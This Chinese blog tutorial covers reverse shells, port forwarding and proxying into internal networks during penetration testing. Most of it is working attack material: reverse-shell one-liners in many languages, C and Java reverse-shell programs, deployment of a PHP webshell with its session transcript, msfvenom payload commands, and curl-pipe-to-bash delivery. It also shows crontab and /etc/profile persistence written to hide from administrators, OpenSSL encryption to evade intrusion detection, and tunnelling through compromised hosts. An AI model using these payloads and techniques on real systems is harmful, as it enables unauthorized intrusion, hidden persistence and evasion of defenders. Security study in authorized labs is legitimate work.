端口监听和代理的那些事

title: 端口监听和代理的那些事
date: 2022-07-26 22:36:58
tags:

img

文章使用的是 github 图床,所以需要梯子才能正常看到图片

1,正反向代理概念

image-20220706163807196

代理的概念:代理 (英语: Proxy) 也称网络代理,是一种特殊的网络服务,允许一个网络终端 (一般为客户端) 通过这个服务与另一个网络终端 (一般为服务器) 进行非直接的连接。一些网关、路由器等网络设备具备网络代理功能。一般认为代理服务有利于保障网络终端的隐私或安全,防止攻击。

正向连接:由受害机开启监听端口,攻击机去连接监听端口

反向连接:由攻击机开启监听端口,受害机去连接监听端口

通俗一点来说就是,正向代理为黑客拿着你家钥匙去你家门里面干坏事,反向代理就是黑客诱惑你拿着他家钥匙去开他家的门里然后干坏事

在渗透方面到了内网层面,就要控制主机,控制主机常用的方法就是反弹 shell,使用的姿势有:bash 反弹,telnet 反弹,nc(netcat)反弹,或者脚本反弹(python,PHP,Java,Ruby)

【这里解释一下什么是反弹 shell】

反弹 shell: 攻击者无法直接连接受害者的情况下进行的操作,原因有很多,例如目标是局域网,或者开启防火墙的某些策略等情况,而这时,我们就可以让受害者主动向攻击者发起连接,被控端发起请求到控制端某端口,并将其命令行的输入输出转到控制端,从而实现交互, 也是所谓的反向连接。

下面我来详细说一下正反 shell,由于正向 shell 通常会因为各种原因(例如:硬件防火墙,网站防火墙,端口占用,权限不足,特别是硬件设备防火墙,被锁定的话后面会变得非常麻烦)导致连接失败,故在大多数情况都是反向连接所以待会我重点说反向连接。

套接字的概念:网络套接字类似于网际插座,用来与其他套接字相互连接

作用:Socket 被用于客户端 / 服务端应用框架中。服务端是一个针对客户端的请求执行某些特定操作的进程。大多数应用层协议如 FTP、SMTP 和 POP3 使用 Socket 来建立客户端与服务端之间的连接,从而进行数据的交换,通俗来说:就是用于转换各种协议来使其相互流畅交流。

  • nc 系列
    • nc 介绍:nc 作为网络工具中的瑞士军刀,是学习信息安全必须掌握的工具之一,nc 的大小只有几十 kb 包括 Linux 版和 windows 版,但它的作用也是非常之大
    • 作用:
      • 侦听模式 / 传输模式
      • telnet / 获取 banner 信息
      • 传输文本信息
      • 传输文件 / 目录
      • 加密传输文件
      • 远程控制 / 木马:杀软不会查杀
      • 加密所有流量
      • 流媒体服务器
      • 远程克隆硬盘
基本格式:nc [-options] hostname port [ports] …
nc -l -p port [options] [hostname] [port]

-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point, up to 8
-G num source-routing pointer: 4, 8, 12, …
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出–用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉–用于扫描时

对于nc来说一个命令有很多种格式nc -lvvp 和nc -vvlp和nc -vv -l -p没有区别
  • 正向 nc 监听

windows 服务器

服务器:nc -l -p 需要连接的端口号 -t -e cmd.exe
客户端:nc -nvv ip地址 需要连接的端口号

Linux 服务器

服务器:nc -lvp 需要连接的端口号 -e /bin/bash
客户端:nc 需要连接的ip 需要连接的端口号

注意:对于 Linux 的乌班图系统来说它默认安装的是 netcat-openbsd, 而不是经典的 netcat-traditional. 因此,我们要想使用 netcat-traditional 则需要自己进行安装与配置

sudo apt-get -y install netcat-traditional

image-20220706201036239

sudo update-alternatives --config nc

image-20220706201117162

这一步要在 root 下运行,选择对应编号,我这里是 2

转载自Ubuntu 上 nc 的安装与使用AI_Frank 的博客 -CSDN 博客ubuntu 安装 nc

  • 反向 nc 监听

攻击机执行:

nc -lvvp 开启的端口

image-20220711160549145

目标主机上执行:

Bash 反弹

bash -i >& /dev/tcp/x.x.x.x/port 0>&1#bash -i   打开一个交互的bash#>&   将标准错误输出重定向到标准输出#/dev/tcp/x.x.x.x/port   意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口#0>&1   标准输入重定向到标准输出,实现你与反弹出来的shell的交互

这个对于乌班图的 kali 是不行的原因如下

** 反弹 shell 失败 原来是这个原因 ***梦想闹钟的博客 -CSDN 博客*反弹 shell 不成功

curl 配合 Bash 反弹 shell

不用 nc

攻击上面执行创建一个php或者html文件,内容为:bash -i >& /dev/tcp/IP/port 0>&1
并开启一个空闲端口来给目标机下载该文件
目标机执行:curl IP|bash

nc 反弹

nc -e /bin/bash IP port

image-20220711160814503

python 反弹

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

image-20220711160949421同时也可以写成脚本用 wget 上传到目标服务器进行执行

image-20220711161610465

php 反弹 shell

php -r 'exec("/bin/bash -i >& /dev/tcp/ip/port")'
或
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

同样第一条不能在乌班图 10 以上执行

image-20220711161118788也可以使用 kali 上面现成的 shell

操作如下

一。修改kali的PHP shell的参数

root@root:~# cd /usr/share/webshells/
root@root:/usr/share/webshells# ls
asp  aspx  cfm  jsp  perl  php
root@root:/usr/share/webshells# cd php
root@root:/usr/share/webshells/php# ls
findsock.c        php-findsock-shell.php  qsd-php-backdoor.php
php-backdoor.php  php-reverse-shell.php   simple-backdoor.php
root@root:/usr/share/webshells/php# cat php-reverse-shell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
......

root@root:/usr/share/webshells/php# cp php-reverse-shell.php /var/www/html/
root@root:/usr/share/webshells/php# cd /var/www/html/
root@root:/var/www/html# ls
1.html   a.js             index.html               shell.elf
1.php    decode.py        index.nginx-debian.html  shell.php
2.html   dirty.c          php-reverse-shell.php    shell.py
37292.c  dirtycow-master  shell.c                  shell.txt
root@root:/var/www/html# vim php-reverse-shell.php 
root@root:/var/www/html# cat php-reverse-shell.php   #修改监听的IP地址



......
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.37.131';  // CHANGE THIS      #修改IP地址
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
......


二。重启服务
root@root:/var/www/html# /etc/init.d/apache2 start
[ ok ] Starting apache2 (via systemctl): apache2.service.


三。上传shell然后启动
[tom@redhat tmp]$ wget http://IP/shell.php
--2022-07-10 14:21:56--  http://IP/shell.php
正在连接 IP:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:80 [text/plain]
正在保存至: “shell.php”
 
100%[======================================>] 80          --.-K/s   in 0s  
 
2022-07-10 14:21:56 (4.53 MB/s) - 已保存 “shell.php” [80/80])


四。kali上面监听7777端口
root@root:/var/www/html# nc -lvvp 7777
listening on [any] 7777 ...


五。靶机运行PHP的shell脚本
[tom@redhat tmp]$ php shell.php


六。在kali上面查看监听情况
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35063
sh-4.1$ whoami
whoami
tom
sh-4.1$ ifconfig
ifconfig
eth1      Link encap:Ethernet  HWaddr 00:0C:29:EF:E0:1D  
          inet addr:192.168.37.143  Bcast:192.168.37.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:feef:e01d/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2748 errors:0 dropped:0 overruns:0 frame:0
          TX packets:369 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:204505 (199.7 KiB)  TX bytes:32844 (32.0 KiB)

image-20220711161424415

Java

public class Revs {/*** @param args* @throws Exception */public static void main(String[] args) throws Exception {    // TODO Auto-generated method stub    Runtime r = Runtime.getRuntime();    String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/IP/port;cat <&5 | while read line; do $line 2>&5 >&5; done"};    Process p = r.exec(cmd);    p.waitFor();}

C 语言

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <unistd.h>

#include <fcntl.h>

#include <netinet/in.h>

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <unistd.h>

#include <fcntl.h>

#include <netinet/in.h>

#include <netdb.h>

void usage();

char shell[]="/bin/sh";

char message[]="hacker welcome\n";

int sock;

int main(int argc, char *argv[]) {

if(argc <3){

usage(argv[0]);

}

struct sockaddr_in server;

if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {

printf("Couldn't make socket!n"); exit(-1);

}

server.sin_family = AF_INET;

server.sin_port = htons(atoi(argv[2]));

server.sin_addr.s_addr = inet_addr(argv[1]);

if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {

printf("Could not connect to remote shell!n");

exit(-1);

}

send(sock, message, sizeof(message), 0);

dup2(sock, 0);

dup2(sock, 1);

dup2(sock, 2);

execl(shell,"/bin/sh",(char *)0);

close(sock);

return 1;

}

void usage(char *prog[]) {

printf("Usage: %s <reflect ip> <port>n", prog);

exit(-1);

}

使用方法

[kali@kali tmp]$ gcc cshell.c -o cshell
[kali@kali tmp]$ ./cshell 192.168.0.103 6666

Lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('IP','port');os.execute('/bin/sh -i <&3 >&3 2>&3');

perl

方法一:
perl -e 'use Socket;$i="IP";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
方法二:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"IP:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

image-20220711180859672

Ruby

方法一:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("IP","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
方法二:
ruby -rsocket -e'f=TCPSocket.open("IP",port).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)

对于 Ruby 来说写的 shell 会出现类似于脚本不落地的效果,不容易被发现

image-20220711230049887

telnet

mknod a p;telnet IP port 0<a | /bin/bash 1>a

第二种

攻击机开启两个端口:
nc -lvvp 7777
nc -lvvp 6666

目标机:
telnet IP port | /bin/bash | telnet IP port

awk

awk 'BEGIN{s="/inet/tcp/0/IP/port";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

image-20220711232301236

whois

whois -h IP -p port `cmd//反弹的shell只能执行后面带的命令`

受害机

image-20220711232810682

攻击机

image-20220711232653666

msfvenom

如果清楚以上手搓 shell 感觉麻烦的,也可以使用这个工具进行直接生成(狗头),

一。查询 payload 具体路径

我们直接可以使用 msfvenom -l 结合关键字过滤(如cmd/unix/reverse),找出我们需要的各类反弹一句话payload的路径信息。


用这条命令查看
root@root:~# msfvenom -l payloads |grep "cmd/unix/reverse"




    cmd/unix/reverse                                    Creates an interactive shell through two inbound connections
    cmd/unix/reverse_awk                                Creates an interactive shell via GNU AWK
    cmd/unix/reverse_bash                               Creates an interactive shell via bash's builtin /dev/tcp. This will not work on most Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/tcp feature.
    cmd/unix/reverse_bash_telnet_ssl                    Creates an interactive shell via mkfifo and telnet. This method works on Debian and other systems compiled without /dev/tcp support. This module uses the '-z' option included on some systems to encrypt using SSL.
    cmd/unix/reverse_lua                                Creates an interactive shell via Lua
    cmd/unix/reverse_ncat_ssl                           Creates an interactive shell via ncat, utilizing ssl mode
    cmd/unix/reverse_netcat                             Creates an interactive shell via netcat
    cmd/unix/reverse_netcat_gaping                      Creates an interactive shell via netcat
    cmd/unix/reverse_nodejs                             Continually listen for a connection and spawn a command shell via nodejs
    cmd/unix/reverse_openssl                            Creates an interactive shell through two inbound connections
    cmd/unix/reverse_perl                               Creates an interactive shell via perl
    cmd/unix/reverse_perl_ssl                           Creates an interactive shell via perl, uses SSL
    cmd/unix/reverse_php_ssl                            Creates an interactive shell via php, uses SSL
    cmd/unix/reverse_python                             Connect back and create a command shell via Python
    cmd/unix/reverse_python_ssl                         Creates an interactive shell via python, uses SSL, encodes with base64 by design.
    cmd/unix/reverse_r                                  Connect back and create a command shell via R
    cmd/unix/reverse_ruby                               Connect back and create a command shell via Ruby
    cmd/unix/reverse_ruby_ssl                           Connect back and create a command shell via Ruby, uses SSL
    cmd/unix/reverse_socat_udp                          Creates an interactive shell via socat
    cmd/unix/reverse_ssl_double_telnet                  Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option
    cmd/unix/reverse_stub                               Creates an interactive shell through an inbound connection (stub only, no payload)
    cmd/unix/reverse_zsh                                Connect back and create a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default.
  
  
  
二。生成我们需要的一句话shell
msfvenom -p cmd/unix/reverse_bash lhost=192.168.37.131 lport=1234 R      #bash反弹一句话

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.37.131 lport=1234 R    #nc反弹一句话

msfvenom -p cmd/unix/reverse_python lhost=192.168.37.131 lport=1234 R  #python反弹一句话

......

image-20220710190539072

计划任务 crontab 反弹 shell

目标主机添加如下计划任务
* * * * * /bin/bash -i >& /dev/tcp/10.7.9.50/4488 0>&1

我们可以在目标主机的定时任务文件中写入一个反弹 shell 的脚本,但是前提是我们必须要知道目标主机当前的用户名是哪个。因为我们的反弹 shell 命令是要写在 /var/spool/cron/[crontabs]/<username> 内的,所以必须要知道远程主机当前的用户名。否则就不能生效。

比如,当前用户名为 root,我们就要将下面内容写入到 /var/spool/cron/root 中。(centos 系列主机)

比如,当前用户名为 root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu 系列主机)

将反弹 shell 的命令写入 /etc/profile 文件

将以下反弹 shell 的命写入 /etc/profile 文件中,/etc/profile 中的内容会在用户打开 bash 窗口时执行。

/bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1 &# 最后面那个&为的是防止管理员无法输入命令

openssh 加密反弹 shell

在上文中,我们总结了很多反弹 shell 得方法,但是我发现这种反弹 shell 方式都有一个缺点,那就是所有的流量都是明文传输的****。这些通过 shell 通过传输的流量都可以被管理员直接抓取并理解,当目标主机网络环境存在网络防御检测系统时(IDS、IPS 等),网络防御检测系统会获取到我们的通信内容并进行告警和阻止。因此,我们需要对通信的内容进行混淆或加密,这时可以选择使用 OpenSSL 反弹一个加密的 shell。

SSL协议要求建立在可靠的传输层协议(TCP)之上。SSL协议的优势在于它是与应用层协议独立无关的,高层的应用层协议(例如:HTTP,FTP,TELNET等)能透明地建立于SSL协议之上。SSL协议在应用层协议通信之前就已经完成加密算法、通信密钥的协商及服务器认证工作。在此之后应用层协议所传送的数据都会被加密,从而保证通信的私密性。

在利用 OpenSSL 反弹 shell 之前需要先生成自签名证书:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

image-20220711231412097

OpenSSL 简介

在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。

实验环境:Linux

目标机:

•系统:Linux•IP:127.0.0.1

攻击机:

•系统:Linux•IP:腾讯云服务器

假设我们从目标机反弹 shell 到攻击机 。首先需要利用上一步生成的自签名证书,在攻击机上使用 OpenSSL 监听一个端口,在这里使用 7777 端口:

openssl s_server -quiet -key key.pem -cert cert.pem -port 7777

image-20220711231444129

受害机执行下面代码反弹到攻击机

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect IP:port > /tmp/s; rm /tmp/s

连接成功

image-20220711231526799

image-20220711231704537

这样攻击者便使用 OpenSSL 反弹了目标机一个加密的 shell。

加密 shell 参考下面这篇文章

反弹 Shell,看这一篇就够了 - 腾讯云开发者社区 - 腾讯云 (tencent.com)

以上为 nc 反弹 shell 的基本姿势

内网转发

内网转发简介

在渗透测试中,当我们获得了外网服务器(如web服务器,ftp服务器,mali服务器等等)的一定权限后发现这台服务器可以直接或者间接的访问内网。此时渗透测试进入后渗透阶段,一般情况下,内网中的其他机器是不允许外网机器访问的。这时候,我们可以通过 端口转发(隧道) 或将这台外网服务器设置成为 代理,使得我们自己的攻击机可以直接访问与操作内网中的其他机器。实现这一过程的手段就叫做内网转发

原因

为什么我们选择了内网转发,而不是直接登录我们控制的机器,一般情况下要么我们的权限不够,要么对方设定了固定ip访问(应该是可以通过修改远程特定端口的作用域(注册表)实现接触ip限制)

内网转发实现

常见内网转发工具的分类:

按照协议进行分类,可以分为:Socks协议 和 Socket协议 

按照工具工作原理分类分为: 端口转发类(隧道) 和 web代理类

image-20220711233602598

前言参考:

https://blog.csdn.net/qq_35569814/article/details/102550873

下面是具体的操作步骤

方法一:

使用 netsh

什么是 netsh:Netsh 是一个命令行脚本实用程序,允许您在本地或远程显示或修改当前正在运行的计算机的网络配置。

netsh(windows 自带)需要管理员权限

准备一台 windows 机器

第一步:windows 内网服务器配置开放 80 端口

image-20220714222246123

其网站为:

image-20220715002051731

第二步:

1. 在该服务器上面管理员运行 cmd.exe

2. 添加转发规则

netsh interface portproxy add v4tov4 listenaddress=192.168.236.130 listenport=666 connectaddress=192.168.236.130 connectport=80

image-20220715195253268

把 666 端口的信息全部转发到 80 端口

效果如下:

80 端口

image-20220715194954707

666 端口

image-20220715195048214

方法二:

使用 lcx(windows 版本),portmap(Linux 版本)

什么是 lcx:lcx 是一款端口转发工具,有三个功能:

  • 第一个功能将本地端口转发到远程主机某个端口上
  • 第二个功能将本地端口转发到本地另一个端口上
  • 第三个功能是进行监听并进行转发使用

使用条件为必须有公网 IP

使用类型:

lcx 正向转发

lcx -tran 888 192.168.236.130 80

意思是,将 192.168.236.130:80 端口的流量转发到本地的 888 端口上

接下来访问 192.168..236.130:888 就行

image-20220715223239362

image-20220715223319632

image-20220715223350498

lcx 反向转发

三台机器:一台攻击机(windows),一台肉鸡(windows),一台目标机器(通用都行)

肉鸡和目标机器在同一个内网里面

通过一个被攻击得肉鸡把内网的信息转发到攻击机

内网肉鸡:lcx -slave 攻击IP 攻击机端口1 目标机IP 目标机 端口

攻击机执行:lcx -listen 攻击机端口1 攻击机端口2//将攻击机端口1流量转发到攻击机端口2

至于为什么要转发?
因为lcx的设计缺陷,攻击机端口1已经用于接收了,端口被占用了,会出现端口拥堵导致各种未知情况,所以需要转发到另外一个端口

然后本地打开127.0.0.1:攻击机端口2
即实现了流量转发

image-20220723225434067

proxychains+Ssocks 反向代理

socks 反向代理原理说明:

其实,socks 反向代理的通信原理还是比较简单的, 就是在控制端和目标端同时开放一个端口, 作为两端机器之间通信的这么一个专属通道 [有点儿类似管道], 说的再形象一点, 是这样, 当控制端想访问目标内网中的其他的机器的某个端口, 目标端就会帮忙把要访问的那个端口的数据拿过来, 放到之前已经建立好的这条通道的端口上, 然后, 控制端直接到这个地方来取即可, 有点儿类似中介,socket 嘛, 本来就是个管道

1.proxychains 下载地址

sudo apt-get install proxychains

2. 查看代理端口

cat /etc/proxychains4.conf

** **image-20220725181554995

3. 下载 ssocks

tar -zxf sscoks-0.0.14.tar.gz

4. 使用方法:通过肉鸡进行建立内网代理,然后使用 proxychains 进行建立代理链

  • 攻击机开始打开代理端口
    ./rcsocks -l 代理端口1 -p 代理端口2 -vv
    
  • 肉鸡开启通道
    image-20220725220552650
    ./rssocks -vv -s 攻击机IP:代理端口2
    
  • 攻击机用 proxychains 端口代理工具建立代理链
  • proxychains ssh root@ip(该 IP 为肉鸡 IP)
  • 然后该软件就会走刚设置的端口

Ew 代理 +proxychains 设置代理链

EW 是一套便携式的网络穿透工具,具有 SOCKS5 服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内, 强烈推荐使用,跨平台,任何平台都可以轻松使用

Ew 正向代理:

设置 Ew 监听本地 1080 端口

ew_for_Win.exe -s ssocksd -l 1080

配置 proxychains 代理链的配置文件,将代理设置成 192.168.137.128 的 1080 端口:socks5 192.168.2.40 1080

image-20220725222243099

然后在命令前加上 proxychains 就行,比如远程桌面连接内网中的主机 192.168.52.143

proxychains rdesktop 192.168.2.40

Ew 反向代理:

攻击机上面执行

ew.exe -s rcsocks -l 888 -e 777

把物理机 888 端口的流量都转发到本地的 777 端口上面

接着代理机中执行

ew.exe -s rssocks -d 192.168.2.40 -e 777

意思是将代理机的流量全部转发到 192.168.2.40:777 端口上面

然后使用 proxychains 中设置代理 127.0.0.1:888 端口即可

reGeorg 代理 +proxychains 设置代理链

实验机器:攻击机(kali),192.168.236.131,

受害机(win10) IP 为:192.168.2.40,

目标机(win10)IP 为:192.168.236.130

1. 受害机上传 reGeorg 的脚本,这里选择的是 tunnel.nosocket.php

image-20220727204405905

2. 使用 reGeorg 的 py 脚本访问受害机上线的脚本

image-20220727204605515

python2 reGeorgSocksProxy.py -p 9999 -u http://192.168.236.130/tunnel.nosocket.php

3. 测试一下是否能访问

image-20220727205321845

显然不能

4.kali 浏览器挂上肉鸡的代理

image-20220727205436495

5. 再次访问目标内网地址

image-20220727205346395

发现可以正常访问了

当然也可以使用 proxychains 进行代理

6. 修改 proxychains 配置文件

git clone https://github.com/rofl0r/proxychains-ng//下载proxychains
vi /etc/proxychains.conf//修改文件代理端口
socks5  192.168.1.34 9999//改成9999端口

image-20220727205808398

7. 使用 proxychains 进行访问

prxoxychains curl 192.168.236.130/1.txt

发现可以正常访问